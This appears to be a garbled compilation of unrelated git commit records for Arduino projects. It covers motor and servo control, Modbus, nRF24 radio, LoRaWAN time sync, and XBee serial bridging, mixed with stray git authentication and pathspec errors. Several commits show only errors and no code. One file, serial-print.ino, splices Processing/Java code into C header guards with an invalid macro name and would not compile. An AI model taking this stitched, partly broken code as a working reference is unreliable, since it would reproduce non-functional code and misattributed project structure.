+    }
+  }
+}
+
+void drive_fwd() {
+  m_left.run(FORWARD);
+  m_right.run(FORWARD);
+}
+
+void drive_bwd() {
+  m_left.run(BACKWARD);
+  m_right.run(BACKWARD);
+}
+
+void stop_motors() {
+  m_left.run(RELEASE);
+  m_right.run(RELEASE);
+}
+
+void turn_left() {
+  m_left.run(BACKWARD);
+  m_right.run(FORWARD);
+}
+
+void turn_right() {
+  m_left.run(FORWARD);
+  m_right.run(BACKWARD);
+}
+
+void set_speed(int s) {
+  int left = map(s, 0, 100, 0, MAX_LEFT);
+  int right = map(s, 0, 100, 0, MAX_RIGHT);
+
+  Serial.print("Setting left motor speed to ");
+  Serial.println(left);
+  Serial.print("Setting right motor speed to ");
+  Serial.println(right);
+  m_left.setSpeed(left);
+  m_right.setSpeed(right);
+}
+


init GPS / GSM position monitoring

init GPS / GSM position monitoring

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/werar/iothome.git/'


Add file to allow saving arduino output from serial

error: pathspec 'src/serial-print.ino' did not match any file(s) known to git

--- src/serial-print.ino
+++ src/serial-print.ino
@@ -0,0 +1,31 @@
+/* Header file that allows for writing of data from arduino to pi */
+
+
+#ifndef serial-print_h
+#define serial-print_h
+
+#include "Arduino.h"
+
+import processing.serial.*;
+Serial mySerial;
+PrintWriter output;
+void setup() {
+   mySerial = new Serial( this, Serial.list()[0], 9600 );
+   output = createWriter( "data.txt" );
+}
+void draw() {
+    if (mySerial.available() > 0 ) {
+         String value = mySerial.readString();
+         if ( value != null ) {
+              output.println( value );
+         }
+    }
+}
+
+void keyPressed() {
+    output.flush();  // Writes the remaining data to the file
+    output.close();  // Finishes the file
+    exit();  // Stops the program
+}
+
+#endif


add arduino

add arduino

error: pathspec 'Arduino/Arduino.ino' did not match any file(s) known to git

--- Arduino/Arduino.ino
+++ Arduino/Arduino.ino
@@ -0,0 +1,179 @@
+#include "MeMegaPi.h"
+#include <SoftwareSerial.h>
+bool spd = true;
+int moveSpeed = 100;
+int minSpeed = 20;
+int maxSpeed = 200;
+int servoX = 90;
+int servoY = 90;
+String _buffer = "";
+String _commands[6];
+
+MePS2 joystick(PORT_16);
+
+MeMegaPiDCMotor motorLeft(PORT1A);
+MeMegaPiDCMotor motorRight(PORT1B);
+MeMegaPiDCMotor armLeft(PORT2A);
+MeMegaPiDCMotor armRight(PORT2B);
+MePort port6(PORT_6);
+MePort port7(PORT_7);
+Servo svx;
+Servo svy;
+void setup() {
+  Serial2.begin(115200);
+  joystick.begin(115200);
+  svx.attach(port7.pin1());
+  svy.attach(port6.pin1());
+  svx.write(90);
+  svy.write(70);
+}
+
+void loop() {
+  if(Serial2.available()){
+    char c = Serial2.read();
+    if(c!='\n'){
+      _buffer+=c;
+    }else{
+      parseBuffer();
+    }
+  }
+  joystickUpdate();
+}
+void parseBuffer(){
+  int startIndex = 0,endIndex = 0,index = 0,len = _buffer.length(),maxCmdLen = 0;
+  while(1){
+    endIndex = _buffer.indexOf(",",startIndex);
+    if(endIndex>0){
+      _commands[index] = _buffer.substring(startIndex,endIndex);
+      index++;
+      startIndex = endIndex+1;
+    }
+    if(index>5||endIndex==-1){
+      if(startIndex<len){
+        _commands[index] = _buffer.substring(startIndex,len);
+        index++;
+      }
+      break;
+    }
+  }
+  maxCmdLen = index-1;
+  if(_commands[0].equals("face")){
+    float faceX = _commands[1].toFloat();
+    float faceY = _commands[2].toFloat();
+    float faceW = _commands[3].toFloat();
+    float faceH = _commands[4].toFloat();
+    moveServo(faceX,faceY);
+  }else if(_commands[0].equals("reset")){
+    svx.write(90);
+    svy.write(70);
+  }
+  _buffer = "";
+}
+void joystickUpdate(){
+  joystick.loop();
+  if (joystick.ButtonPressed(MeJOYSTICK_UP))
+  {
+        forward();
+  }else if (joystick.ButtonPressed(MeJOYSTICK_DOWN))
+  {
+        backward();
+  }else if (joystick.ButtonPressed(MeJOYSTICK_LEFT))
+  {
+        turnLeft();
+  }else if (joystick.ButtonPressed(MeJOYSTICK_RIGHT))
+  {
+        turnRight();
+  }else if (joystick.ButtonPressed(MeJOYSTICK_R1))
+  {
+    if(spd){
+      spd = false;
+      moveSpeed+=5;
+      moveSpeed = min(maxSpeed,moveSpeed);
+    }
+  }else if (joystick.ButtonPressed(MeJOYSTICK_R2))
+  {
+    if(spd){
+      spd = false;
+      moveSpeed-=5;
+      moveSpeed = max(minSpeed,moveSpeed);
+    }
+  }else{
+    spd = true;
+    float joystickX = joystick.MeAnalog(MeJOYSTICK_LX)/5.0;
+    float joystickY = joystick.MeAnalog(MeJOYSTICK_LY)/5.0;
+    float angle = fmod(atan2(joystickY,joystickX)/2.0+PI*2.0,PI*2.0);
+    float dist = sqrt(joystickX*joystickX+joystickY*joystickY)*moveSpeed/(minSpeed+40);
+    if(angle<PI/2.0){
+      move(-dist*cos(angle),dist*sin(angle));
+    }else{
+      move(dist*cos(angle),dist*sin(angle));
+    }
+  }
+}
+
+void forward(void)
+{
+  motorLeft.run(-moveSpeed);
+  motorRight.run(moveSpeed);
+}
+
+void backward(void)
+{
+  motorLeft.run(moveSpeed);
+  motorRight.run(-moveSpeed);
+}
+
+void turnRight(void)
+{
+  motorLeft.run(-moveSpeed);
+  motorRight.run(-moveSpeed);
+}
+
+void turnLeft(void)
+{
+  motorLeft.run(moveSpeed);
+  motorRight.run(moveSpeed);
+}
+
+void stop(void)
+{
+  motorLeft.stop();
+  motorRight.stop();
+}
+
+void move(int left,int right)
+{
+  motorLeft.run(left);
+  motorRight.run(right);
+}
+float prevX = 0.0;
+float prevY = 0.0;
+float ppX = 0.0;
+float ppY = 0.0;
+void moveServo(float x,float y)
+{
+  x = max(min(x+5,45),-45);
+  y = max(min(y-5,45),-45);
+  float cx = servoX-90;
+  float cy = servoY-90;
+  float dX = x*(cx*x<0?60:(60-abs(cx)))/45.0/20.0;
+  float dY = y*(cy*y<0?60:(60-abs(cy)))/45.0/20.0;
+//  for(int i=1;i<10;i++){
+//    svx.write(round(servoX+dX*i/10));
+//    svy.write(round(servoY+dY*i/10));
+//    delay(10);
+//  }
+  float scale = min(10,4*(abs(prevX-dX)+1));
+  servoX += scale*dX-prevX*2.2;//+ppX*0.1;
+  servoY += scale*dY-prevY*2.2;//+ppY*0.1;
+  ppX = prevX;
+  ppY = prevY;
+  prevX = dX;
+  prevY = dY;
+  servoX = max(min(servoX,135),45);
+  servoY = max(min(servoY,135),45);
+  svx.write(round(servoX));
+  svy.write(round(servoY));
+  Serial2.println("ok");
+}
+


Create rs485_smodbus_slave.ino

Create rs485_smodbus_slave.ino

error: pathspec 'protocol/modbus/lab/rs485_smodbus_slave.ino' did not match any file(s) known to git

--- protocol/modbus/lab/rs485_smodbus_slave.ino
+++ protocol/modbus/lab/rs485_smodbus_slave.ino
@@ -0,0 +1,35 @@
+#include <SimpleModbusSlave.h>
+
+#define  LED 4
+
+//////////////// registers of your slave ///////////////////
+enum
+{
+  ADC_VAL,
+  PWM_VAL,
+  HOLDING_REGS_SIZE
+};
+
+unsigned int holdingRegs[HOLDING_REGS_SIZE]; // function 3 and 16 register array
+////////////////////////////////////////////////////////////
+
+void setup()
+{
+  modbus_configure(&Serial, 19200, SERIAL_8N1, 1, 2, HOLDING_REGS_SIZE, holdingRegs);
+  modbus_update_comms(19200, SERIAL_8N1, 229); //id del esclavo
+
+  pinMode(LED, OUTPUT);
+}
+
+void loop()
+{
+
+  modbus_update();
+ // holdingRegs[ADC_VAL] = analogRead(A0);
+
+ digitalWrite(LED, HIGH);
+ delay(holdingRegs[PWM_VAL]);
+ digitalWrite(LED, LOW);
+ delay(holdingRegs[PWM_VAL]);
+
+}


Added multi-receiver for two way communciation between one queen and two scouts

error: pathspec 'arduino/FCPM37YIWWFTK2H/FCPM37YIWWFTK2H.ino' did not match any file(s) known to git

--- arduino/FCPM37YIWWFTK2H/FCPM37YIWWFTK2H.ino
+++ arduino/FCPM37YIWWFTK2H/FCPM37YIWWFTK2H.ino
@@ -0,0 +1,81 @@
+// An example demonstrating the multiceiver capability of the NRF24L01+
+// in a star network with one PRX hub and up to six PTX nodes
+
+//This sketch is a modification from a video on the ForceTronics YouTube Channel,
+//which code was leveraged from http://maniacbug.github.io/RF24/starping_8pde-example.html
+//This sketch is free to the public to use and modify at your own risk
+
+#include <SPI.h> //Call SPI library so you can communicate with the nRF24L01+
+#include <nRF24L01.h> //nRF2401 libarary found at https://github.com/tmrh20/RF24/
+#include <RF24.h> //nRF2401 libarary found at https://github.com/tmrh20/RF24/
+
+const int pinCE = 7; //This pin is used to set the nRF24 to standby (0) or active mode (1)
+const int pinCSN = 8; //This pin is used to tell the nRF24 whether the SPI communication is a command or message to send out
+RF24 radio(pinCE, pinCSN); // Declare object from nRF24 library (Create your wireless SPI)
+
+//Create up to 6 pipe addresses P0 - P5;  the "LL" is for LongLong type
+const uint64_t rAddress[] = {0x7878787878LL, 0xB3B4B5B6F1LL, 0xB3B4B5B6CDLL, 0xB3B4B5B6A3LL, 0xB3B4B5B60FLL, 0xB3B4B5B605LL };
+
+byte daNumber = 0; //The number that the transmitters are trying to guess
+
+void setup()
+{
+  randomSeed(analogRead(0)); //create unique seed value for random number generation
+  daNumber = (byte)random(11); //Create random number that transmitters have to guess
+  Serial.begin(115200);  //start serial to communication
+  Serial.print("The number they are trying to guess is: ");
+  Serial.println(daNumber); //print the number that they have to guess
+  Serial.println();
+  radio.begin();  //Start the nRF24 module
+
+  radio.setPALevel(RF24_PA_MAX);  // "short range setting" - increase if you want more range AND have a good power supply
+  radio.setChannel(108);          // the higher channels tend to be more "open"
+
+  // Open up to six pipes for PRX to receive data
+  radio.openReadingPipe(0,rAddress[0]);
+  radio.openReadingPipe(1,rAddress[1]);
+  radio.openReadingPipe(2,rAddress[2]);
+  radio.openReadingPipe(3,rAddress[3]);
+  radio.openReadingPipe(4,rAddress[4]);
+  radio.openReadingPipe(5,rAddress[5]);
+
+  radio.startListening();                 // Start listening for messages
+}
+
+void loop()
+{
+    byte pipeNum = 0; //variable to hold which reading pipe sent data
+    byte gotByte = 0; //used to store payload from transmit module
+
+    while(radio.available(&pipeNum)){ //Check if received data
+     radio.read( &gotByte, 1 ); //read one byte of data and store it in gotByte variable
+     Serial.print("Received guess from transmitter: ");
+     Serial.println(pipeNum + 1); //print which pipe or transmitter this is from
+     Serial.print("They guess number: ");
+     Serial.println(gotByte); //print payload or the number the transmitter guessed
+     if(gotByte != daNumber) { //if true they guessed wrong
+      Serial.println("Fail!! Try again.");
+     }
+     else { //if this is true they guessed right
+      if(sendCorrectNumber(pipeNum)) Serial.println("Correct! You're done."); //if true we successfully responded
+      else Serial.println("Write failed"); //if true we failed responding
+     }
+     Serial.println();
+    }
+
+   delay(200);
+}
+
+ //This function turns the receiver into a transmitter briefly to tell one of the nRF24s
+//in the network that it guessed the right number. Returns true if write to module was
+//successful
+bool sendCorrectNumber(byte xMitter) {
+    bool worked; //variable to track if write was successful
+    radio.stopListening(); //Stop listening, start receiving data.
+    radio.openWritingPipe(rAddress[xMitter]); //Open writing pipe to the nRF24 that guessed the right number
+      // note that this is the same pipe address that was just used for receiving
+    if(!radio.write(&daNumber, 1))  worked = false; //write the correct number to the nRF24 module, and check that it was received
+    else worked = true; //it was received
+    radio.startListening(); //Switch back to a receiver
+    return worked;  //return whether write was successful
+}


Create dedicated MegaPi Firmware sketch for Dovlo. Add service server to enable/disable motors. Reduce speed to 57600 bds

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Bobox214/Dovlo.git/'


Add example demonstrating time syncronization with the network

error: pathspec 'examples/ttn-otaa-network-time/ttn-otaa-network-time.ino' did not match any file(s) known to git

--- examples/ttn-otaa-network-time/ttn-otaa-network-time.ino
+++ examples/ttn-otaa-network-time/ttn-otaa-network-time.ino
@@ -0,0 +1,292 @@
+/*******************************************************************************
+ * Copyright (c) 2015 Thomas Telkamp and Matthijs Kooijman
+ * Copyright (c) 2018 Terry Moore, MCCI
+ *
+ * Permission is hereby granted, free of charge, to anyone
+ * obtaining a copy of this document and accompanying files,
+ * to do whatever they want with them without any restriction,
+ * including, but not limited to, copying, modification and redistribution.
+ * NO WARRANTY OF ANY KIND IS PROVIDED.
+ *
+ * This example sends a valid LoRaWAN packet with payload "Hello,
+ * world!", using frequency and encryption settings matching those of
+ * the The Things Network.
+ *
+ * This uses OTAA (Over-the-air activation), where where a DevEUI and
+ * application key is configured, which are used in an over-the-air
+ * activation procedure where a DevAddr and session keys are
+ * assigned/generated for use with all further communication.
+ *
+ * Note: LoRaWAN per sub-band duty-cycle limitation is enforced (1% in
+ * g1, 0.1% in g2), but not the TTN fair usage policy (which is probably
+ * violated by this sketch when left running for longer)!
+
+ * To use this sketch, first register your application and device with
+ * the things network, to set or generate an AppEUI, DevEUI and AppKey.
+ * Multiple devices can use the same AppEUI, but each device has its own
+ * DevEUI and AppKey.
+ *
+ * Do not forget to define the radio type correctly in config.h.
+ *
+ *******************************************************************************/
+
+#include <Time.h>
+#include <lmic.h>
+#include <hal/hal.h>
+#include <SPI.h>
+
+//
+// For normal use, we require that you edit the sketch to replace FILLMEIN
+// with values assigned by the TTN console. However, for regression tests,
+// we want to be able to compile these scripts. The regression tests define
+// COMPILE_REGRESSION_TEST, and in that case we define FILLMEIN to a non-
+// working but innocuous value.
+//
+#ifdef COMPILE_REGRESSION_TEST
+# define FILLMEIN 0
+#else
+# warning "You must replace the values marked FILLMEIN with real values from the TTN control panel!"
+# define FILLMEIN (#dont edit this, edit the lines that use FILLMEIN)
+#endif
+
+
+// This EUI must be in little-endian format, so least-significant-byte
+// first. When copying an EUI from ttnctl output, this means to reverse
+// the bytes. For TTN issued EUIs the last bytes should be 0xD5, 0xB3,
+// 0x70.
+static const u1_t PROGMEM APPEUI[8]={ FILLMEIN };
+void os_getArtEui (u1_t* buf) { memcpy_P(buf, APPEUI, 8);}
+
+// This should also be in little endian format, see above.
+static const u1_t PROGMEM DEVEUI[8]={ FILLMEIN };
+void os_getDevEui (u1_t* buf) { memcpy_P(buf, DEVEUI, 8);}
+
+// This key should be in big endian format (or, since it is not really a
+// number but a block of memory, endianness does not really apply). In
+// practice, a key taken from ttnctl can be copied as-is.
+static const u1_t PROGMEM APPKEY[16] = { FILLMEIN };
+void os_getDevKey (u1_t* buf) {  memcpy_P(buf, APPKEY, 16);}
+
+static uint8_t mydata[] = "Hello, world!";
+static osjob_t sendjob;
+
+// Schedule TX every this many seconds (might become longer due to duty
+// cycle limitations).
+const unsigned TX_INTERVAL = 60;
+
+// Pin mapping
+const lmic_pinmap lmic_pins = {
+    .nss = 6,
+    .rxtx = LMIC_UNUSED_PIN,
+    .rst = 5,
+    .dio = {2, 3, 4},
+};
+
+void onEvent (ev_t ev) {
+    Serial.print(os_getTime());
+    Serial.print(": ");
+    switch(ev) {
+        case EV_SCAN_TIMEOUT:
+            Serial.println(F("EV_SCAN_TIMEOUT"));
+            break;
+        case EV_BEACON_FOUND:
+            Serial.println(F("EV_BEACON_FOUND"));
+            break;
+        case EV_BEACON_MISSED:
+            Serial.println(F("EV_BEACON_MISSED"));
+            break;
+        case EV_BEACON_TRACKED:
+            Serial.println(F("EV_BEACON_TRACKED"));
+            break;
+        case EV_JOINING:
+            Serial.println(F("EV_JOINING"));
+            break;
+        case EV_JOINED:
+            Serial.println(F("EV_JOINED"));
+            {
+              u4_t netid = 0;
+              devaddr_t devaddr = 0;
+              u1_t nwkKey[16];
+              u1_t artKey[16];
+              LMIC_getSessionKeys(&netid, &devaddr, nwkKey, artKey);
+              Serial.print("netid: ");
+              Serial.println(netid, DEC);
+              Serial.print("devaddr: ");
+              Serial.println(devaddr, HEX);
+              Serial.print("artKey: ");
+              for (int i=0; i<sizeof(artKey); ++i) {
+                Serial.print(artKey[i], HEX);
+              }
+              Serial.println("");
+              Serial.print("nwkKey: ");
+              for (int i=0; i<sizeof(nwkKey); ++i) {
+                Serial.print(nwkKey[i], HEX);
+              }
+              Serial.println("");
+            }
+            // Disable link check validation (automatically enabled
+            // during join, but because slow data rates change max TX
+	    // size, we don't use it in this example.
+            LMIC_setLinkCheckMode(0);
+            break;
+        /*
+        || This event is defined but not used in the code. No
+        || point in wasting codespace on it.
+        ||
+        || case EV_RFU1:
+        ||     Serial.println(F("EV_RFU1"));
+        ||     break;
+        */
+        case EV_JOIN_FAILED:
+            Serial.println(F("EV_JOIN_FAILED"));
+            break;
+        case EV_REJOIN_FAILED:
+            Serial.println(F("EV_REJOIN_FAILED"));
+            break;
+        case EV_TXCOMPLETE:
+            Serial.println(F("EV_TXCOMPLETE (includes waiting for RX windows)"));
+            if (LMIC.txrxFlags & TXRX_ACK)
+              Serial.println(F("Received ack"));
+            if (LMIC.dataLen) {
+              Serial.print(F("Received "));
+              Serial.print(LMIC.dataLen);
+              Serial.println(F(" bytes of payload"));
+            }
+            // Schedule next transmission
+            os_setTimedCallback(&sendjob, os_getTime() + sec2osticks(TX_INTERVAL), do_send);
+            break;
+        case EV_LOST_TSYNC:
+            Serial.println(F("EV_LOST_TSYNC"));
+            break;
+        case EV_RESET:
+            Serial.println(F("EV_RESET"));
+            break;
+        case EV_RXCOMPLETE:
+            // data received in ping slot
+            Serial.println(F("EV_RXCOMPLETE"));
+            break;
+        case EV_LINK_DEAD:
+            Serial.println(F("EV_LINK_DEAD"));
+            break;
+        case EV_LINK_ALIVE:
+            Serial.println(F("EV_LINK_ALIVE"));
+            break;
+        /*
+        || This event is defined but not used in the code. No
+        || point in wasting codespace on it.
+        ||
+        || case EV_SCAN_FOUND:
+        ||    Serial.println(F("EV_SCAN_FOUND"));
+        ||    break;
+        */
+        case EV_TXSTART:
+            Serial.println(F("EV_TXSTART"));
+            break;
+        default:
+            Serial.print(F("Unknown event: "));
+            Serial.println((unsigned) ev);
+            break;
+    }
+}
+
+uint32_t userUTCTime; // Seconds since the UTC epoch
+
+// Utility function for digital clock display: prints preceding colon and
+// leading 0
+void printDigits(int digits) {
+
+    Serial.print(':');
+    if (digits < 10) Serial.print('0');
+    Serial.print(digits);
+}
+
+void user_request_network_time_callback(uint32_t *pUserUTCTime, int flagSuccess) {
+
+    // A struct that will be populated by LMIC_getNetworkTimeReference.
+    // It contains the following fields:
+    //  - tLocal: the value returned by os_GetTime() when the time
+    //            request was sent to the gateway, and
+    //  - tNetwork: the seconds between the GPS epoch and the time
+    //              the gateway received the time request
+    lmic_time_reference_t lmicTimeReference;
+
+    if (flagSuccess != 1) {
+        Serial.println(F("USER CALLBACK: Not a success"));
+        return;
+    }
+
+    // Populate "lmic_time_reference"
+    flagSuccess = LMIC_getNetworkTimeReference(&lmicTimeReference);
+    if (flagSuccess != 1) {
+        Serial.println(F("USER CALLBACK: LMIC_getNetworkTimeReference didn't succeed"));
+        return;
+    }
+
+    // Update userUTCTime, considering the difference between the GPS and UTC
+    // epoch, and the leap seconds
+    *pUserUTCTime = lmicTimeReference.tNetwork + 315964800;
+
+    // Add the delay between the instant the time was transmitted and
+    // the current time
+
+    // Current time, in ticks
+    ostime_t ticksNow = os_getTime();
+    // Time when the request was sent, in ticks
+    ostime_t ticksRequestSent = lmicTimeReference.tLocal;
+    uint32_t requestDelaySec = osticks2ms(ticksNow - ticksRequestSent) / 1000;
+    *pUserUTCTime += requestDelaySec;
+
+    // Update the system time with the time read from the network
+    setTime(*pUserUTCTime);
+
+    Serial.print(F("The current UTC time is: "));
+    Serial.print(hour());
+    printDigits(minute());
+    printDigits(second());
+    Serial.print(' ');
+    Serial.print(day());
+    Serial.print('/');
+    Serial.print(month());
+    Serial.print('/');
+    Serial.print(year());
+    Serial.println();
+}
+
+void do_send(osjob_t* j) {
+    // Check if there is not a current TX/RX job running
+    if (LMIC.opmode & OP_TXRXPEND) {
+        Serial.println(F("OP_TXRXPEND, not sending"));
+    } else {
+        // Schedule a network time request at the next possible time
+        LMIC_requestNetworkTime(user_request_network_time_callback, &userUTCTime);
+
+        // Prepare upstream data transmission at the next possible time.
+        LMIC_setTxData2(1, mydata, sizeof(mydata)-1, 0);
+        Serial.println(F("Packet queued"));
+    }
+    // Next TX is scheduled after TX_COMPLETE event.
+}
+
+void setup() {
+    Serial.begin(9600);
+    Serial.println(F("Starting"));
+
+    #ifdef VCC_ENABLE
+    // For Pinoccio Scout boards
+    pinMode(VCC_ENABLE, OUTPUT);
+    digitalWrite(VCC_ENABLE, HIGH);
+    delay(1000);
+    #endif
+
+    // LMIC init
+    os_init();
+    // Reset the MAC state. Session and pending data transfers will be discarded.
+    LMIC_reset();
+
+    // Start job (sending automatically starts OTAA too)
+    do_send(&sendjob);
+}
+
+void loop() {
+    os_runloop_once();
+}


Added new faster code for the Arduino server

error: pathspec 'Arduino/sketchbook/XbeeServer/XbeeServer.ino' did not match any file(s) known to git

--- Arduino/sketchbook/XbeeServer/XbeeServer.ino
+++ Arduino/sketchbook/XbeeServer/XbeeServer.ino
@@ -0,0 +1,194 @@
+#include <stdio.h>
+#include <uVector.h>
+#include <XbeeS6.h>
+#include <string.h>
+#include <Time.h>
+
+
+
+//#include "XbeeS6.h"
+#define BAUD_RATE 57600
+
+
+Tx64Packet tx_packet;
+
+uVector myvector;
+static uint8_t * tx_buffer1;
+
+HardwareSerial Uart = HardwareSerial();
+unsigned long baud = 57600;
+const int reset_pin = 4;
+const int led_pin = 11;  // 11=Teensy 2.0, 6=Teensy 1.0, 16=Benito
+const int led_on = HIGH;
+const int led_off = LOW;
+
+volatile time_t start_time;
+time_t current_time;
+long previousMillis = 0;
+long interval = 500;
+
+void setup()
+{
+  //start_time = now();
+
+  pinMode(led_pin, OUTPUT);
+  digitalWrite(led_pin, led_off);
+  digitalWrite(reset_pin, HIGH);
+  pinMode(reset_pin, OUTPUT);
+  Serial.begin(BAUD_RATE);
+  Serial.println("Starting the Receiver!");
+  second(start_time);
+  Serial.print("Starting time: ");
+  Serial.println(start_time);
+
+  tx_packet.set_Address(0x00000000C0A80165);
+
+  tx_buffer1 = get_buffer();
+
+  Uart.begin(BAUD_RATE);
+
+  Serial.println("=======================");
+  Serial.println("?: for Receive mode HEX");
+  Serial.println("#: for Receive mode BYTE (for Config)");
+  Serial.println("$: for TX Mode");
+  Serial.println("=======================");
+  Uart.flush();
+
+
+}
+int j = 0;
+int k = 0;
+volatile int enable;
+long led_on_time=0;
+void loop()
+{
+  //static int enable;
+  unsigned char c, dtr;
+  static unsigned char prev_dtr = 0;
+  unsigned long currentMillis = millis();
+  if (Serial.available()) {
+    c = Serial.read();
+    if(c == '?') {
+      enable = 3;
+      return;
+    }
+
+    if(c == '$' ) {
+      enable  =1;
+      return;
+    }
+    if(c == '#' ) {
+      enable = 2;
+      return;
+    }
+    if(c == '^') {
+      Uart.flush();
+      return;
+    }
+    Uart.write(c);
+    digitalWrite(led_pin, led_on);
+    led_on_time = millis();
+    return;
+  }
+  /* Determine Server Configuration*/
+  if(currentMillis-previousMillis > interval)
+  {
+    if(enable == 1)
+    {
+
+      uint16_t length = tx_packet.prepare2send();
+      uint16_t i;
+
+      for(i = 0; i < length; i++)
+      {
+        Uart.write(tx_buffer1[i]);
+      }
+      for(i = 0; i < length; i++)
+      {
+        Serial.print(tx_buffer1[i], HEX);
+        Serial.print(" ");
+      }
+      Serial.println(' ');
+      j++;
+      tx_packet.clear_payload();
+      tx_packet.push_back( (uint8_t) j);
+      Uart.flush();
+      Serial.println("response");
+      while(Uart.available())
+      {
+
+        Serial.print(Uart.read(),HEX);
+        Serial.print(" ");
+      }
+      Serial.println("EOR");
+
+
+    }
+    //else
+    if(enable == 2) //For command mode use write for repsponse use print
+    {
+      if (Uart.available())
+      {
+        c = Uart.read();
+        Serial.write(c);
+        digitalWrite(led_pin, led_on);
+        led_on_time = millis();
+        return;
+      }
+    }
+    //else
+    if(enable == 3) //For command mode use write for response use print
+    {
+      if (Uart.available())
+      {
+        c = Uart.read();
+        //		Serial.write(c);
+        current_time = now();
+        //Serial.print("current time: ");
+        //Serial.println(current_time);
+        if(c == 0x7E) Serial.println();
+        Serial.print(c, HEX);
+        Serial.print(" ");
+        digitalWrite(led_pin, led_on);
+        led_on_time = millis();
+        return;
+      }
+    }
+    previousMillis = currentMillis;
+  }
+
+  /* Control Bootloader*/
+  dtr = Serial.dtr();
+  if (dtr && !prev_dtr) {
+    digitalWrite(reset_pin, LOW);
+    delayMicroseconds(250);
+    digitalWrite(reset_pin, HIGH);
+  }
+  prev_dtr = dtr;
+  if (millis() - led_on_time > 3) {
+    digitalWrite(led_pin, led_off);
+  }
+  if (Serial.baud() != baud) {
+    baud = Serial.baud();
+    if (baud == 57600) {
+      // This ugly hack is necessary for talking
+      // to the arduino bootloader, which actually
+      // communicates at 58824 baud (+2.1% error).
+      // Teensyduino will configure the UART for
+      // the closest baud rate, which is 57143
+      // baud (-0.8% error).  Serial communication
+      // can tolerate about 2.5% error, so the
+      // combined error is too large.  Simply
+      // setting the baud rate to the same as
+      // arduino's actual baud rate works.
+      Uart.begin(58824);
+    }
+    else {
+      Uart.begin(baud);
+    }
+  }
+
+
+
+}
+


Plant to plant SpikerShield code for Leonardo added

error: pathspec 'Plant/Arduino' did not match any file(s) known to git
error: pathspec 'Code/PPILeonardo_V1-0/PPILeonardo_V1-0.ino' did not match any file(s) known to git


Arduino code to read from the parallel lines and print to Arduino serial port.

error: pathspec 'Arduino/read_parallel/read_parallel.ino' did not match any file(s) known to git

--- Arduino/read_parallel/read_parallel.ino
+++ Arduino/read_parallel/read_parallel.ino
@@ -0,0 +1,22 @@
+
+int parallel_read_pins[] = {2, 3, 4, 5, 6, 7, 8, 9};
+
+void setup() {
+
+  for(int i=0; i<8; i++)
+  {
+    pinMode(parallel_read_pins[i], INPUT);
+  }
+
+  Serial.begin(9600);
+  while( !Serial ) ; // wait for serial terminal to be opened.
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  for(int i=0; i<8; i++)
+  {
+    Serial.print(digitalRead(parallel_read_pins[i]));
+  }
+  Serial.println("");
+}


Added updated T16 Drive Sketch

Added updated T16 Drive Sketch

Added max throttle control and removed differential calculations to library

error: pathspec 'Mobility' did not match any file(s) known to git
error: pathspec 'System/T16_Drive/T16_Drive.ino' did not match any file(s) known to git


for g3 sensor

for g3 sensor

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'with' did not match any file(s) known to git
error: pathspec 'cc3000wifi' did not match any file(s) known to git
error: pathspec 'based/G3_module/PPG3_099b0229.ino' did not match any file(s) known to git